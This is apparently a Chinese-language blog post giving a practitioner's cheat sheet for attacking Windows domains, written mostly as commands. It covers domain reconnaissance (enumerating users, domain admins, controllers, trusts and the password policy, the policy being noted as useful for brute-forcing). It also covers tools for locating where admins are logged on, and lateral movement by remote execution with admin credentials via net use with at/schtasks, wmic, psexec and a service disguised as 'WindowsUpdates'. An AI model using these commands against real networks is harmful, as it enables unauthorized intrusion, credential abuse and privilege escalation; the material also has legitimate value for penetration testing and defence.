大概总结了一些以前项目中遇到域时用到的初级命令,他山之石,可以攻玉,大家见笑。
一、初始信息收集
1.查看当前网络及域名
ipconfig /all
2.查看安装的软件版本
wmic product get name,version
3.查看本机服务信息
wmic service list brief
4.查询进程列表
tasklist /svc
wmic process list brief
wmic这个命令需要权限比较高才能看完全:
5.查询用户
本机是直接net user,如果在域环境里则是net user /domain(当前必须以域用户身份登陆凭据,否则会拒绝访问,如下图)
正常执行如下图:
这个很有用,可以看到有谁通过smb协议连接上来。有时候拿到域里一台服务器,可以看到个人机的登陆地址。
net session
7.查询路由表和arp缓存表
route print
可以看到当前可访问的网络范围,不过很多网络的子网掩码都是随便写的,但是超出掩码范围的还可以访问。
arp -a
可以看到曾经访问过的IP地址。
nslookup 域名
可以查看到本域DNS服务器的信息,一些比较小的域都是用DC当dns服务器的。
net time /domain
net group "domain controllers" /domain
nltest /dsgetdc:域名
nltest /dclist:域名
上图PDC为主域控
net view /domain
(这个命令是查看所在域的名字,如果目标存在多个域,可以查看所有的域)
net view /domain:域名
(查看域里存在的机器,与本机有通讯的)
net group /domain
net group "domain computers" /domain
13.查看域管账号
net group "domain admins" /domain
14.查看所有域用户账号
net user /domain
15.获取域密码策略
net accounts /domain
在爆破的时候可以作为参考
nltest /domain_trusts
在大型环境里面很有用,多个域之前存在信任关系的话横向比较顺利。
17.获取域内用户详细信息
wmic useraccount get /all
(需要与域控135端口通讯)
net group "Enterprise Admins" /domain
(有的环境这个组的成员权限也非常大)
二、定位域控
常见的域管理员定位工具有psloggedon.exe、PVEFindADUser.exe、netsess.exe,以及netview等。在 Powershell中,常用工具是PowerView。
1.psloggedon.exe
网上的文章都说psloggedon.exe是系统自带的,但其实这个在微软的PsTools里面,非自带。不得不吐槽一句,那些抄来抄去的文章真是害人不浅。
psloggedon.exe \IP
psloggedon.exe username
第一次使用要加 -accepteula 参数,以后就不用了,因为它一开始会有一个同意使用的窗口。
微软签名,正常文件,不需要免杀。
此工具本质是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台 机器,如果无法读取或者读取注册表失败,此工具效果很差。
2.netsess.exe
这个是一个外国大牛2004年写的exe,现在还能用。
netsess.exe \\IP
3.PVEFindADUser.exe
运行需要计算机支持framework2.0。网上说是需要管理员权限,可是我在本机测试普通成员权限是可以的。
pvefinaduser.exe -current
4.netview.exe
据说这个比较好,但是我在本地测试没有成功。
netview.exe -d
寻找当前域名下的session
netview.exe -g
寻找指定用户组的登陆session
5.PowerView.ps1
这个我在本地也没测试成功。。
三、执行命令
impacket包里面有很多执行命令的方式,网上也有很多文章,这里不再阐述,只介绍几种系统自带的正常可以远程执行命令的方法,winrm由于应用条件苛刻且基本很少存在,没有加入。
1.net use + at or schtasks
net use \\192.168.3.142\c$/u:0da\administrator "admin!@#45" 建立ipc连接
net time \\192.168.3.142 查看目标当前时间
at \\192.168.3.142 时间 要执行的命令 (08以后的系统已经弃用at,可以用下面的schtasks)
SCHTASKS /Create /S 192.168.3.142 /U 0day\Administrator /P "admin!@#45" /SC ONCE
/ST 12:45 /TN test /TR c:\windows\system32\cmd.exe /RU system (一定要写后面的 /RU
system)
2.wmic
wmic /node:192.168.3.142 /user:0day\administrator /password:admin!@#45 process
call create "cmd.exe /c whoami > c:\x.txt"
返回值为0代表执行成功。
另外:如果密码里面带有逗号,也就是 “,” 的话,会导致命令执行不成功。这时候可以把password参数删除交互输入密码,或者用类似impacket之类的工具。
3.psexec
psexec /accepteula //接受许可协议
psexec \\192.168.3.142 -u 0day\administrator -p admin!@#45 -s cmd.exe ( -s 是代表
用system权限启动,如果没有这个选项,默认配置下会显示 “登录失败: 未授予用户在此计算机上的请求登
录类型。”)
另外:一定要有本地管理员权限,否则会提示拒绝访问。如下图:
4.sc
net use \\192.168.3.8 /u:0day\administrator "admin!@#45"
sc \\192.168.3.8 create "WindowsUpdates" binpath="cmd.exe /c start c:\x.bat"
sc \\192.168.3.8 start WindowsUpdates
sc \\192.168.3.8 delete WindowsUpdates
显示失败,但是x.bat已经执行了: